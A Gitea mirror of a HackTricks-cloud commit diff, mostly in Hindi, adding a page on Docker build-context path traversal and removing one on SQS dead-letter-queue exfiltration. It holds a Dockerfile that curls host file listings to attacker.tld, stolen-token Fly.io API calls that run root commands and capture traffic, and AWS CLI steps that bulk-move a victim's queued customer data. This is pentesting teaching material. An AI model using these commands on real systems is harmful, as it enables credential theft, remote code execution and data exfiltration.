gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-08 03:10:49 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src

Browse Source
This commit is contained in:
Translator
2025-10-25 16:14:53 +00:00
parent 06087ed45e
commit 24185c0fe3
3 changed files with 149 additions and 195 deletions
Download Patch File Download Diff File Expand all files Collapse all files

101
src/pentesting-ci-cd/docker-build-context-abuse.md Normal file
View File

@@ -0,0 +1,101 @@
# Hosted Builders में Docker Build Context का दुरुपयोग (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
यदि कोई CI/CD प्लेटफ़ॉर्म या hosted builder contributors को Docker build context path और Dockerfile path निर्दिष्ट करने देता है, तो अक्सर आप context को parent directory (जैसे "..") पर सेट कर सकते हैं और host फ़ाइलों को build context का हिस्सा बना सकते हैं। फिर, attacker-controlled Dockerfile COPY कर सकता है और builder user के home में पाए जाने वाले secrets को exfiltrate कर सकता है (उदाहरण के लिए, ~/.docker/config.json)। चोरी किए गए registry tokens provider के control-plane APIs के खिलाफ भी काम कर सकते हैं, जिससे org-wide RCE सक्षम हो सकता है।
## Attack surface
Many hosted builder/registry services do roughly this when building user-submitted images:
- Read a repo-level config that includes:
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- Copy the indicated build context directory and the Dockerfile to the Docker daemon
- Build the image and run it as a hosted service
यदि प्लेटफ़ॉर्म build context को canonicalize और restrict नहीं करता है, तो उपयोगकर्ता इसे repository के बाहर किसी स्थान पर सेट कर सकता है (path traversal), जिससे build user द्वारा पढ़ी जा सकने वाली arbitrary host फ़ाइलें build context का हिस्सा बन जाएँगी और Dockerfile में COPY के लिए उपलब्ध हो जाएँगी।
आम तौर पर देखे जाने वाले व्यावहारिक प्रतिबंध:
- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
- The build user must have read access to files included in the context; special device files can break the copy.
## PoC: Path traversal via Docker build context
Example malicious server config declaring a Dockerfile within the parent directory context:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
नोट्स:
- ".." का उपयोग अक्सर builder उपयोगकर्ता के होम (उदा., /home/builder) तक पहुँचता है, जिसमें आमतौर पर संवेदनशील फाइलें होती हैं।
- अपनी Dockerfile को repo के डायरेक्टरी नाम के अंतर्गत रखें (उदा., repo "test" → test/Dockerfile) ताकि यह विस्तारित parent context के भीतर रहे।
## PoC: host context को ingest और exfiltrate करने के लिए Dockerfile
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
आम तौर पर $HOME से प्राप्त लक्ष्य:
- ~/.docker/config.json (registry auths/tokens)
- अन्य cloud/CLI caches और configs (उदा., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
टिप: भले ही repository में .dockerignore मौजूद हो, कमजोर platform-side context selection तय करता है कि क्या चीज़ें daemon को भेजी जाएँगी। अगर platform चुनी हुई path को आपके repo’s .dockerignore का मूल्यांकन करने से पहले daemon पर कॉपी कर देता है, तो host फ़ाइलें फिर भी उजागर हो सकती हैं।
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API.
Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
एक org में apps को सूचीबद्ध करें:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
किसी भी ऐप की किसी भी मशीन के अंदर root के रूप में कोई कमांड चलाएँ:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
परिणाम: org-wide remote code execution उन सभी hosted apps में जहाँ token के पास पर्याप्त अधिकार हों।
## Compromised hosted services से Secret चोरी
hosted servers पर exec/RCE होने पर, आप client-supplied secrets (API keys, tokens) को एकत्र कर सकते हैं या prompt-injection attacks अंजाम दे सकते हैं। उदाहरण: tcpdump इंस्टॉल करके port 8080 पर HTTP ट्रैफ़िक कैप्चर करें ताकि inbound credentials निकाले जा सकें।
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Captured requests अक्सर headers, bodies, या query params में client credentials होते हैं।
## संदर्भ
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

89
src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Methodology
# Pentesting CI/CD पद्धति
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS का मतलब है **Version Control System**, यह सिस्टम डेवलपर्स को उनके **source code को manage** करने की अनुमति देता है। सबसे आम है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **platforms** में से किसी एक का उपयोग करते हुए पाएँगे:
VCS का मतलब **Version Control System** है, यह सिस्टम डेवलपर्स को उनके **source code** को प्रबंधित करने की अनुमति देता है। सबसे सामान्य है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **platforms** में से किसी एक का उपयोग करते हुए पाएँगे:
- Github
- Gitlab
@@ -18,73 +18,80 @@ VCS का मतलब है **Version Control System**, यह सिस्
## CI/CD Pipelines
CI/CD pipelines डेवलपर्स को कोड के निष्पादन को **automate** करने में सक्षम बनाते हैं — जैसे build, test, और deploy करने के लिए। ये automated workflows विशिष्ट क्रियाओं द्वारा **triggered** होते हैं, जैसे code pushes, pull requests, या scheduled tasks. ये development से production तक के प्रक्रिया को आसान बनाने में उपयोगी होते हैं।
CI/CD pipelines डेवलपर्स को विभिन्न कार्यों के लिए कोड के निष्पादन को **automate** करने में सक्षम बनाती हैं, जिनमें application का build, test और deploy शामिल है। ये automated workflows विशिष्ट क्रियाओं (जैसे code pushes, pull requests, या scheduled tasks) द्वारा **trigger** होते हैं। ये development से production तक के प्रोसेस को streamline करने में उपयोगी हैं।
हालाँकि, इन सिस्टम्स को कहीं ना कहीं **execute** करना होता है और आम तौर पर इसके लिए **privileged credentials** की आवश्यकता होती है ताकि code deploy किया जा सके या sensitive information तक पहुँच प्राप्त की जा सके।
हालाँकि, इन सिस्टम्स को कहीं **execute** करना होता है और सामान्यतः इन्हें **privileged credentials to deploy code or access sensitive information** की आवश्यकता होती है।
## VCS Pentesting Methodology
> [!NOTE]
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
> भले ही कुछ VCS platforms pipelines बनाने की अनुमति देते हों, इस सेक्शन के लिए हम केवल सोर्स कोड के नियंत्रण पर संभावित हमलों का विश्लेषण करने जा रहे हैं।
जिस platform में आपके प्रोजेक्ट का source code होता है, वह संवेदनशील जानकारी रखता है और लोगों को इस platform के अंदर दिए गए permissions के साथ बहुत सावधान रहना चाहिए। VCS platforms में कुछ सामान्य समस्याएँ हैं जिनका attacker दुरुपयोग कर सकता है:
जो platforms आपके प्रोजेक्ट का source code रखते हैं उनमें संवेदनशील जानकारी होती है और लोगों को इस प्लेटफॉर्म के भीतर दिए गए permissions के साथ बहुत सतर्क रहना चाहिए। VCS platforms में कुछ सामान्य समस्याएँ जो attacker दुरुपयोग कर सकता है:
- **Leaks**: अगर आपके code में commits में leak मौजूद हैं और attacker repo तक पहुँच सकता है (क्योंकि वह public है या उसे access मिला हुआ है), तो वह उन leaks को खोज सकता है।
- **Access**: अगर attacker VCS platform के अंदर किसी account तक **access** प्राप्त कर लेता है तो वह और भी अधिक **visibility और permissions** प्राप्त कर सकता है।
- **Register**: कुछ platforms बाहरी उपयोगकर्ताओं को बस एक account बनाने की अनुमति देते हैं।
- **SSO**: कुछ platforms users को register करने की अनुमति नहीं देते, लेकिन valid SSO के साथ किसी को भी access करने दे सकते हैं (तो एक attacker अपने github account का उपयोग करके प्रवेश कर सकता है, उदाहरण के लिए)।
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... कई प्रकार के tokens होते हैं जिन्हें एक user चुरा सकता है ताकि किसी तरह repo तक access प्राप्त किया जा सके।
- **Webhooks**: VCS platforms webhooks जनरेट करने की अनुमति देते हैं। अगर वे non visible secrets के साथ **protected** नहीं हैं तो एक **attacker उनका दुरुपयोग कर सकता है**।
- अगर कोई secret मौजूद नहीं है, तो attacker third party platform के webhook का दुरुपयोग कर सकता है
- अगर secret URL में है, तो भी वही होता है और attacker के पास वह secret भी होगा
- **Code compromise:** अगर किसी malicious actor के पास repos पर किसी प्रकार का **write** access है, तो वह **malicious code inject** करने की कोशिश कर सकता है। सफल होने के लिए उसे शायद **branch protections को bypass** करना पड़ेगा। ये क्रियाएँ विभिन्न उद्देश्यों के साथ की जा सकती हैं:
- main branch को compromise करके **production को compromise** करना।
- main (या अन्य branches) को compromise करके **developers के machines को compromise** करना (क्योंकि वे आम तौर पर repo के अंदर test, terraform या अन्य चीजें अपने machines पर execute करते हैं)।
- **Leaks**: यदि आपका code commits में leaks रखता है और attacker repo तक पहुँच सकता है (क्योंकि वह public है या उसके पास access है), तो वह उन leaks का पता लगा सकता है।
- **Access**: यदि कोई attacker VCS platform के अंदर किसी account तक access कर लेता है तो वह और अधिक visibility और permissions प्राप्त कर सकता है।
- **Register**: कुछ platforms बाहरी users को सिर्फ account बनाने की अनुमति देते हैं।
- **SSO**: कुछ platforms users को register करने की अनुमति नहीं देते, लेकिन किसी valid SSO के साथ किसी को भी access करने की अनुमति दे सकते हैं (तो attacker उदाहरण के लिए अपने github account का उपयोग करके प्रवेश कर सकता है)।
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... कई प्रकार के tokens होते हैं जिन्हें कोई user चुरा कर किसी repo तक किसी न किसी तरह से access प्राप्त कर सकता है।
- **Webhooks**: VCS platforms webhooks जनरेट करने की अनुमति देते हैं। अगर वे non visible secrets से **protect** नहीं किए गए हैं तो एक **attacker उन्हें abuse कर सकता है**।
- यदि कोई secret मौजूद नहीं है, attacker तीसरी पार्टी platform के webhook का दुरुपयोग कर सकता है
- यदि secret URL में है, तो भी वही बात होती है और attacker के पास secret भी होगा
- **Code compromise:** यदि कोई malicious actor के पास repos पर किसी प्रकार का **write** access है, तो वह malicious code inject करने की कोशिश कर सकता है। सफल होने के लिए उसे शायद **branch protections** बायपास करनी होंगी। ये क्रियाएँ विभिन्न उद्देश्यों के साथ की जा सकती हैं:
- main branch को compromise करके **production** पर प्रभाव डालना।
- main (या अन्य branches) को compromise करके developers machines को compromise करना (क्योंकि वे आमतौर पर repo के अंदर test, terraform या अन्य चीजें अपने machines पर execute करते हैं)।
- **Compromise the pipeline** (अगला सेक्शन देखें)
## Pipelines Pentesting Methodology
pipeline को define करने का सबसे आम तरीका है **CI configuration file जो repository में hosted** होती है जिसे pipeline build करता है। यह फाइल executed jobs का क्रम, flow को प्रभावित करने वाली conditions, और build environment settings का वर्णन करती है.\
ये फाइलें आमतौर पर एक सुसंगत नाम और फॉर्मेट रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और GitHub Actions YAML फाइलें जो .github/workflows के अंतर्गत होती हैं। जब triggered होता है, तो pipeline job **code को pull करता है** चुने गए स्रोत से (जैसे commit / branch), और उस code के खिलाफ CI configuration file में निर्दिष्ट commands को **run** करता है।
pipeline को परिभाषित करने का सबसे सामान्य तरीका है **CI configuration file hosted in the repository** जिसे pipeline build करता है। यह फाइल executed jobs के क्रम, flow को प्रभावित करने वाली conditions, और build environment settings का वर्णन करती है.\
ये फाइलें सामान्यतः एक सुसंगत नाम और फ़ॉर्मैट रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और GitHub Actions YAML फाइलें जो .github/workflows के अंतर्गत होती हैं। जब trigger होता है, pipeline job चुने गए source (उदा. commit / branch) से **code को pull** करता है, और CI configuration file में specified commands को उस code के खिलाफ **run** करता है।
इसलिए attacker का अंतिम लक्ष्य किसी न किसी तरीके से उन configuration files या उन **commands** को **compromise** करना होता है जो वे execute करते हैं।
अतः attacker का अंतिम लक्ष्य किसी तरह से उन configuration files या वे commands जिन्हें वे execute करते हैं, को **compromise** करना होता है।
> [!TIP]
> कुछ hosted builders contributors को Docker build context और Dockerfile path चुनने देते हैं। यदि context attacker-controlled है, तो आप इसे repo के बाहर (उदा., "..") सेट कर सकते हैं ताकि build के दौरान host files ingest हों और secrets exfiltrate की जा सकें। देखें:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
### PPE - Poisoned Pipeline Execution
Poisoned Pipeline Execution (PPE) पथ SCM repository में permissions का दुरुपयोग कर एक CI pipeline को manipulate करने और हानिकारक commands execute करवाने का फायदा उठाता है। जिन users के पास आवश्यक permissions होते हैं वे CI configuration files या pipeline job द्वारा उपयोग की जाने वाली अन्य फाइलों को modify कर सकते हैं ताकि malicious commands शामिल हो सकें। यह CI pipeline को "poison" कर देता है, जिससे ये malicious commands execute होते हैं।
Poisoned Pipeline Execution (PPE) पाथ SCM repository में permissions का उपयोग करते हुए CI pipeline को manipulate कर के हानिकारक commands execute कराता है। आवश्यक permissions वाले users CI configuration files या pipeline job द्वारा उपयोग की जाने वाली अन्य फाइलों को संशोधित कर सकते हैं ताकि malicious commands शामिल हो जाएँ। यह CI pipeline को "poison" कर देता है, जिससे ये malicious commands execute होते हैं।
एक malicious actor के लिए PPE attack सफल करने के लिए उसे निम्न बातें करनी होंगी:
एक malicious actor को PPE attack में सफल होने के लिए ये चीज़ें चाहिए होती हैं:
- VCS platform पर **write access** होना चाहिए, क्योंकि आम तौर पर pipelines तब triggered होते हैं जब push या pull request किया जाता है। (Access प्राप्त करने के तरीकों के लिए VCS pentesting methodology देखें).
- ध्यान दें कि कभी-कभी एक **external PR भी "write access"** माना जा सकता है।
- भले ही उसके पास write permissions हों, उसे यह सुनिश्चित करना होगा कि वह **CI config file या उन दूसरी फाइलों को modify कर सके जिन पर config निर्भर करता है**।
- इसके लिए उसे शायद **branch protections को bypass** करने की आवश्यकता पड़े।
- VCS platform पर **write access** होना चाहिए, क्योंकि सामान्यतः pipelines तब trigger होते हैं जब push या pull request किया जाता है। (Access पाने के तरीकों के सारांश के लिए VCS pentesting methodology देखें).
- ध्यान दें कि कभी-कभी एक **external PR भी "write access"** माना जाता है।
- भले ही उसके पास write permissions हों, उसे यह सुनिश्चित करना होगा कि वह **CI config file या उन फाइलों को modify कर सके जिन पर config निर्भर करता है**।
- इसके लिए उसे संभवतः **branch protections** बायपास करने की आवश्यकता पड़ेगी।
PPE के 3 flavour हैं:
- **D-PPE**: एक **Direct PPE** attack तब होता है जब actor उस CI config फाइल को **modify** कर देता है जो execute होने वाली है।
- **I-DDE**: एक **Indirect PPE** attack तब होता है जब actor उस **file** को **modify** करता है जिस पर CI config फाइल निर्भर करती है (जैसे एक make file या terraform config)।
- **Public PPE or 3PE**: कुछ मामलों में pipelines उन users द्वारा trigger किए जा सकते हैं जिनके पास repo में write access नहीं है (और जो शायद org का हिस्सा भी न हों) क्योंकि वे एक PR भेज सकते हैं।
- **3PE Command Injection**: आम तौर पर, CI/CD pipelines **environment variables सेट करते हैं** जिनमें PR के बारे में जानकारी होती है। अगर उस value को attacker नियंत्रित कर सकता है (जैसे PR का title) और उसे किसी **dangerous जगह** पर **use** किया जाता है (जैसे sh commands execute करना), तो attacker वहाँ **commands inject** कर सकता है।
- **D-PPE**: A **Direct PPE** attack तब होता है जब actor उस CI config को सीधे **modify** करता है जिसे execute किया जाना है।
- **I-DDE**: An **Indirect PPE** attack तब होता है जब actor उस **file** को **modify** करता है जिस पर CI config जो execute होने वाली है **rely** करती है (जैसे make file या terraform config)।
- **Public PPE or 3PE**: कुछ मामलों में pipelines उन users द्वारा **trigger** किए जा सकते हैं जिनके पास repo में write access नहीं है (और जो org का हिस्सा भी नहीं हो सकते), क्योंकि वे PR भेज सकते हैं।
- **3PE Command Injection**: आमतौर पर, CI/CD pipelines **PR के बारे में जानकारी** वाले environment variables सेट करते हैं। यदि उस value को एक attacker द्वारा नियंत्रित किया जा सकता है (जैसे PR का title) और वह value किसी **dangerous जगह** (जैसे sh commands execute करना) में **use** होती है, तो attacker वहां **commands inject** कर सकता है।
### Exploitation Benefits
pipeline को poison करने के 3 flavour जानने के बाद, आइए देखें कि successful exploitation के बाद attacker क्या प्राप्त कर सकता है:
PPE के 3 flavours जानने के बाद, आइए देखें कि successful exploitation के बाद attacker क्या प्राप्त कर सकता है:
- **Secrets**: जैसा कि पहले बताया गया था, pipelines अपने jobs के लिए **privileges** की आवश्यकता होती है (code retrieve करने के लिए, build करने के लिए, deploy करने के लिए...) और ये privileges आमतौर पर **secrets** में दिए जाते हैं। ये secrets आम तौर पर **env variables या सिस्टम के अंदर फाइलों** के माध्यम से accessible होते हैं। इसलिए attacker हमेशा अधिक से अधिक secrets exfiltrate करने की कोशिश करेगा।
- pipeline platform पर निर्भर करते हुए attacker को **config में secrets specify** करने पड़ सकते हैं। इसका मतलब है कि अगर attacker CI configuration pipeline को modify नहीं कर सकता (**I-PPE** जैसा उदाहरण), तो वह केवल उन secrets को ही exfiltrate कर सकता है जो उस pipeline के पास हैं।
- **Computation**: कोड कहीं न कहीं execute होता है, और जहाँ execute होता है उसके आधार पर attacker आगे pivot कर सकता है।
- **On-Premises**: अगर pipelines on-premises execute होते हैं, तो attacker एक **internal network** में पहुँच सकता है जहाँ अधिक resources उपलब्ध हो सकते हैं।
- **Cloud**: attacker अन्य cloud machines तक पहुँच सकता है और साथ ही इसके IAM roles/service accounts **tokens** को exfiltrate करके cloud के अंदर और अधिक access प्राप्त कर सकता है।
- **Platforms machine**: कभी-कभी jobs pipeline platform machines के अंदर execute होते हैं, जो आमतौर पर किसी cloud में होते हैं और जिनके पास अधिक access नहीं होता।
- **Select it:** कभी-कभी **pipeline platform कई machines** configure करता है और अगर आप CI configuration file को modify कर सकते हैं तो आप **यह निर्दिष्ट कर सकते हैं कि आप malicious code कहाँ चलाना चाहते हैं**। ऐसी स्थिति में attacker शायद हर संभव machine पर reverse shell चलाकर आगे exploit करने की कोशिश करेगा।
- **Compromise production**: अगर आप pipeline के अंदर हैं और final version वहीं से build और deploy होता है, तो आप production में चलने वाले code को compromise कर सकते हैं।
- **Secrets**: जैसा कि पहले बताया गया था, pipelines अपने jobs के लिए **privileges** की आवश्यकता रखते हैं (code retrieve करना, build करना, deploy करना...) और ये privileges आमतौर पर **secrets** में दिए जाते हैं। ये secrets आमतौर पर **env variables या system के अंदर files** के माध्यम से पहुँच योग्य होते हैं। इसलिए एक attacker हमेशा अधिक से अधिक secrets exfiltrate करने की कोशिश करेगा।
- pipeline platform पर निर्भर करते हुए attacker **शायद config में secrets specify करने की आवश्यकता** हो सकती है। इसका मतलब है कि यदि attacker CI configuration pipeline को modify नहीं कर सकता (उदा. **I-PPE**), तो वह केवल उन secrets को ही exfiltrate कर सकेगा जो उस pipeline के पास हैं।
- **Computation**: कोड कहीं execute होता है; जहाँ execute होता है वहां attacker आगे pivot कर सकता है।
- **On-Premises**: यदि pipelines on-premises execute होते हैं, तो attacker एक internal network में पहुँच सकता है जहाँ और भी resources उपलब्ध हों।
- **Cloud**: attacker cloud में अन्य machines तक पहुँच सकता है और साथ ही वहाँ से IAM roles/service accounts के tokens exfiltrate कर आगे के cloud access प्राप्त कर सकता है।
- **Platforms machine**: कभी-कभी jobs pipeline platform machines के अंदर execute होते हैं, जो आमतौर पर cloud में होते हैं और जिनके पास और access नहीं होता।
- **Select it:** कभी-कभी pipeline platform ने कई machines configure की होती हैं और यदि आप CI configuration file modify कर सकते हैं तो आप यह **indicate** कर सकते हैं कि आप malicious code कहाँ चलाना चाहते हैं। इस स्थिति में attacker सम्भवत: प्रत्येक संभव machine पर reverse shell चलाएगा ताकि आगे exploit करने की कोशिश कर सके।
- **Compromise production**: यदि आप pipeline के अंदर हैं और final version वहीं से build और deploy होती है, तो आप production में चलने वाले code को compromise कर सकते हैं।
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक open-source tool है जो आपके software supply chain stack का security compliance के हिसाब से audit करने के लिए है, यह एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। auditing पूरे SDLC process पर केन्द्रित होती है, जहाँ यह code time से लेकर deploy time तक के जोखिमों को उजागर कर सकती है।
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक open-source tool है जो आपके software supply chain stack का security compliance के लिए audit करता है, जो एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। auditing पूरे SDLC process पर ध्यान केंद्रित करता है, जहाँ यह code से deploy तक के जोखिमों को उजागर कर सकता है।
### Top 10 CI/CD Security Risk
@@ -92,7 +99,7 @@ Cider के अनुसार top 10 CI/CD risks पर यह रोचक ar
### Labs
- हर platform पर जिसे आप locally चला सकते हैं, आपको यह मिलेगा कि इसे locally कैसे लॉन्च करना है ताकि आप इसे अपनी पसंद के अनुसार configure करके टेस्ट कर सकें
- प्रत्येक platform के लिए जिसे आप locally चला सकते हैं, वहां आपको इसे locally launch करने का तरीका मिलेगा ताकि आप इसे परीक्षण के लिए अपनी इच्छानुसार configure कर सकें
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools

154
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -1,154 +0,0 @@
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## विवरण
SQS message move tasks का दुरुपयोग करके किसी पीड़ित के Dead-Letter Queue (DLQ) में जमा सभी संदेशों को उनके attacker-controlled queue पर `sqs:StartMessageMoveTask` के माध्यम से redirect कर चुराएँ। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर समय के साथ DLQs में जमा संवेदनशील डेटा को exfiltrate करती है।
## Dead-Letter Queue (DLQ) क्या है?
Dead-Letter Queue एक विशेष SQS queue है जहाँ संदेश स्वतः भेज दिए जाते हैं जब मुख्य एप्लिकेशन उन्हें सफलतापूर्वक process नहीं कर पाता। ये failed संदेश अक्सर शामिल होते हैं:
- संवेदनशील एप्लिकेशन डेटा जो process नहीं हो पाया
- त्रुटि विवरण और डिबगिंग जानकारी
- Personal Identifiable Information (PII)
- API tokens, credentials, या अन्य secrets
- व्यापार-सम्वंधी महत्वपूर्ण लेन-देन डेटा
DLQs असफल संदेशों के लिए एक "graveyard" की तरह काम करते हैं, जिससे वे मूल्यवान लक्ष्य बन जाते हैं क्योंकि वे समय के साथ उन संवेदनशील डेटा को जमा कर लेते हैं जिन्हें एप्लिकेशन सही तरीके से handle नहीं कर पाया।
## Attack Scenario
**वास्तविक दुनिया का उदाहरण:**
1. **E-commerce application** SQS के माध्यम से ग्राहक ऑर्डर process करता है
2. **कुछ ऑर्डर fail हो जाते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं
3. **DLQ में जमा होते हैं** हफ्तों/महीनों के failed ऑर्डर जिनमें ग्राहक डेटा होता है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **हमलावर को पहुँच मिल जाती है** AWS credentials के साथ जिनमें SQS permissions शामिल हैं
5. **हमलावर पाता है** कि DLQ में हजारों failed ऑर्डर हैं जिनमें संवेदनशील डेटा है
6. **व्यक्तिगत संदेशों तक पहुँचने की बजाय** (धीमा और स्पष्ट), हमलावर `StartMessageMoveTask` का उपयोग करके सभी संदेशों को अपने queue में एकसाथ transfer कर देता है
7. **हमलावर एक ही ऑपरेशन में** सभी ऐतिहासिक संवेदनशील डेटा निकाल लेता है
## आवश्यकताएँ
- स्रोत queue DLQ के रूप में configured होना चाहिए (कम से कम एक queue RedrivePolicy द्वारा referenced)।
- IAM permissions (compromised victim principal के रूप में चलाने पर):
- DLQ (source) पर: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- destination queue पर: संदेश deliver करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage` की अनुमति देता हो)। उसी खाते के destination के लिए यह सामान्यतः डिफ़ॉल्ट रूप से अनुमति होती है।
- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`.
## प्रभाव
Native SQS APIs का उपयोग करके DLQs में जमा संवेदनशील payloads (failed events, PII, tokens, application payloads) को तेज़ी से exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है।
## दुरुपयोग कैसे करें
- पीड़ित DLQ ARN पहचानें और सुनिश्चित करें कि यह वास्तव में किसी queue द्वारा DLQ के रूप में referenced है (कोई भी queue चलेगा)।
- हमलावर-नियंत्रित destination queue बनाएं या चुनें और उसका ARN प्राप्त करें।
- पीड़ित DLQ से अपने destination queue के लिए message move task शुरू करें।
- प्रगति की निगरानी करें या आवश्यकता होने पर उसे रद्द करें।
### CLI उदाहरण: ई-कॉमर्स DLQ से ग्राहक डेटा exfiltrate करना
**Scenario**: एक हमलावर ने AWS credentials compromise कर लिए हैं और पाया कि एक ई-कॉमर्स एप्लिकेशन SQS का उपयोग करता है जिसके DLQ में failed customer order processing attempts हैं।
1) **पीड़ित DLQ की खोज और जाँच करें**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **attacker-controlled destination queue बनाएँ**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **थोक संदेश चोरी को निष्पादित करें**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **चोरी किए गए संवेदनशील डेटा को एकत्र करें**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### क्रॉस-एकाउंट नोट्स
- गंतव्य queue में एक resource policy होना चाहिए जो विक्टिम प्रिंसिपल को `sqs:SendMessage` की अनुमति दे (और, यदि उपयोग हो, KMS grants/permissions)।
## क्यों यह हमला प्रभावी है
1. **वैध AWS फीचर**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, जिससे इसे दुर्भावनापूर्ण के रूप में पहचानना मुश्किल होता है
